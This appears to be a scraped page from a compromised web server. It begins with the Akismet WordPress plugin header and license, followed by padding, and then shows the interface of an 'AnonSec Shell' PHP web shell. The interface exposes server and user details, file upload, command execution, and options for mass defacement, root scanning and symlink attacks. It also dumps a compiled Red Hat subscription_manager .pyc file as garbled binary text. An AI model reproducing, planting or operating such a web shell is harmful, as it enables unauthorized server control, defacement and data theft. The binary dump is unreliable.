#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyc
�
L��ec@`s�ddlmZmZmZddlZddlmZddlmZej	e
�Zdejfd��YZ
dejfd��YZd	ejfd
��YZdejfd��YZd
ejfd��YZdejfd��YZdS(i(tprint_functiontdivisiontabsolute_importN(t	injection(tentbrandingtRHELBrandsInstallercB`seZdZd�ZRS(sRRHEL specific impl of BrandsInstaller.

    Currently just the RHELBrandInstaller.cC`st|j�gS(N(tRHELBrandInstallert	ent_certs(tself((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt_get_brand_installers!s(t__name__t
__module__t__doc__R	(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyRsRcB`s#eZd�Zd�Zd�ZRS(cC`s
t|j�S(N(tRHELBrandPickerR(R((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt_get_brand_picker&scC`st�S(N(tRHELCurrentBrand(R((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt_get_current_brand)scC`s"tjd|j�|j�dS(Ns&Updating product branding info for: %s(tlogtdebugtnametsave(Rtbrand((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt_install,s(R
RRRR(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR%s		R
cB`sSeZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
RS(	cC`s>tt|�jd|�tjtj�}|j�|_dS(NR(tsuperR
t__init__tinjtrequiretPROD_DIRtget_installed_productstinstalled_products(RRtprod_dir((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR2scC`s-|j�}|sdS|d}tj|�S(Ni(t_get_branded_cert_producttNonetRHELProductBrandtfrom_product(Rtbranded_cert_producttbranded_product((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt	get_brand8s

cC`s�|j�}|sdStg�}x$|D]\}}|j|j�q)Wt|�dkrc|dStjd�xJ|D]B}tjd|dj	|dj
j|dj|djf�qwWdSdS(s�Given a list of ent certs providing product branding, return one.

        If we can collapse them into one, do it. Otherwise, return nothing
        and log errors.iisYMore than one entitlement provided branded name information for an installed RHEL productsGEntitlement cert %s (%s) provided branded name information for (%s, %s)N(
t_get_branded_cert_productsR tsettaddt
brand_nametlenRtwarningRtserialtorderRtid(Rt
branded_certstbranded_name_sett_certtproducttbranded_cert((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyRAs	

	 cC`s�g}x�|j�D]�}|jp%g}|j|�}|sCqnt|�dkr�tjd�x%|D]}tjd||f�qiWqq|d}tjd|�|j||f�qWtjdt|��|S(NisHMore than one installed product with RHEL brand information is installeds:Entitlement cert %s is providing brand info for product %sisInstalled branded product: %ss*%s entitlement certs with brand info found(t_get_ent_certstproductst_get_installed_branded_productsR*RR+Rtappend(Rtbranded_cert_productstcertR5tinstalled_branded_productstinstalled_branded_product((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR&fs"

	
cC`s6|jr|jStjtj�}|j�|j�S(s<Returns contents of injected ENT_DIR, or self.ent_dir if set(RRRtENT_DIRtrefresht
list_valid(Rtent_dir((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR4�s
	
cC`sRg}xE|D]=}|j|�s(q
n|j|�s=q
n|j|�q
W|S(N(t_is_rhel_branded_productt"_is_installed_rhel_branded_productR7(RR5tbranded_productsR2((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR6�s
cC`s|j|jkS(N(R.R(RR2((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyRA�scC`sJt|d�stS|jdkr&tSt|d�s9tS|jsFtStS(Nt
brand_typetOSR)(thasattrtFalseRCR)tTrue(RR2((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR@�s	N(R
RR RR%RR&R4R6RAR@(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR
1s			%				R!cB`seZd�ZRS(cC`st�S(N(t
RHELBrandFile(R((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt_get_brand_file�s(R
RRI(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR!�sRcB`seZd�ZRS(cC`st�S(N(RH(R((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyRI�s(R
RRI(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyR�sRHcB`seZdZd�ZRS(s/var/lib/rhsm/branded_namecC`sd|jS(Ns<BrandFile path=%s>(tpath(R((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt__str__�s(R
RRJRK(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyRH�s(t
__future__RRRtloggingtsubscription_managerRRRt	getLoggerR
RtBrandsInstallerRtBrandInstallerRtBrandPickerR
tProductBrandR!tCurrentBrandRt	BrandFileRH(((sJ/usr/lib64/python2.7/site-packages/subscription_manager/rhelentbranding.pyt<module>sx

Anon7 - 2022
AnonSec Team